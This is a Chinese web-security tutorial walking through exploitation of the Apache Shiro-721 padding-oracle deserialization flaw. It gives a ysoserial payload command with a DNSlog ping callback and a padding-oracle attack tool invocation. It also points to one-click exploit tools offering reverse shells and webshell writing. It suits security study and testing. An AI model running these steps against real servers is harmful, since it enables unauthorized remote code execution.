【WEB安全】Apache Shiro 反序列化漏洞(下)

六、Shiro Padding Oracle Attack(Shiro-721)

由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

1、漏洞利用

1、登录Shiro网站,从cookie中获得rememberMe字段的值,需要一个知道账号密码的账户。


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AdBOrzAV-1640940518696)(shiro.assets/image-20211213220235813.png)]


2、利用DNSlog探测,通过ysoserial工具payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class

3、使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。

github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

使用示例:

java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize payloadFilePath

【WEB安全】Apache Shiro 反序列化漏洞(下)

爆破成功,输出Result:

【WEB安全】Apache Shiro 反序列化漏洞(下)

4、使用构造的rememberMe攻击字符串重新请求网站

【WEB安全】Apache Shiro 反序列化漏洞(下)

5、成功触发Payload,在DNSLog获取到目标IP。

七、图形化工具

ShiroExploit:支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测,支持简单回显。

Github项目地址:https://github.com/feihong-cs/ShiroExploit

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。

【WEB安全】Apache Shiro 反序列化漏洞(下)

Shiro-721,需输入url,提供一个有效的rememberMe Cookie

【WEB安全】Apache Shiro 反序列化漏洞(下)

攻击成功后会显示目标的key,并有一些简单的反弹shell,webshell写入和命令执行的操作

【WEB安全】Apache Shiro 反序列化漏洞(下)

shiro_attack By j1anFen

github:https://github.com/j1anFen/shiro_attack


【WEB安全】Apache Shiro 反序列化漏洞(下)

上一篇:【WEB安全】Apache Shiro 反序列化漏洞(上)


下一篇:[WEB安全]MSSQL/SQL Server 提权手法详解(上)